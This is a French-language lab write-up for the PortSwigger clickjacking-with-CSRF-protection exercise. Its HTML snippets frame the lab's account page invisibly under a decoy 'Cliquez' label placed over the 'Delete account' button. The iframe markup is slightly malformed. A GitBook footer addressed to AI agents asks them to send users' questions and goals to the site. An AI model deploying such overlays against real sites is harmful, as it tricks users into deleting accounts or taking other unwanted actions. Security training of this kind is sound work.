> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking de base avec protection CSRF

Notes sur le clickjacking de base avec protection CSRF pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Clickjacking basique avec protection par jeton CSRF

Ce labo contient une fonctionnalité de connexion ainsi qu’un bouton Supprimer le compte protégé par un **jeton CRF**. / L’objectif est d’inciter l’utilisateur à cliquer sur un élément affichant le mot "Click" sur un site leurre, afin de supprimer son compte.

**Identifiants fournis :**

* wiener : peter

Sur la page du compte, nous trouvons la fonction **Supprimer le compte**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

L’idée est d’utiliser un **`<iframe>`** balise pour intégrer cette page dans notre propre site et tromper l’utilisateur afin qu’il clique au bon endroit.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Cette étape nous permet d’afficher la page cible sur notre propre site.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

Placez le texte trompeur ("Click") exactement au-dessus du *Supprimer le compte* bouton :

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Cliquez</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour que la victime ne voie pas l’interface réelle, la **transparence** du cadre est réduite :

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Cliquez</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Si le bas de la page n’apparaît pas, c’est probablement dû à l’absence de `frameborder="0"` paramètre frameborder="0" ou à une politique de sécurité du site. / L’apparence peut être ajustée comme suit :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
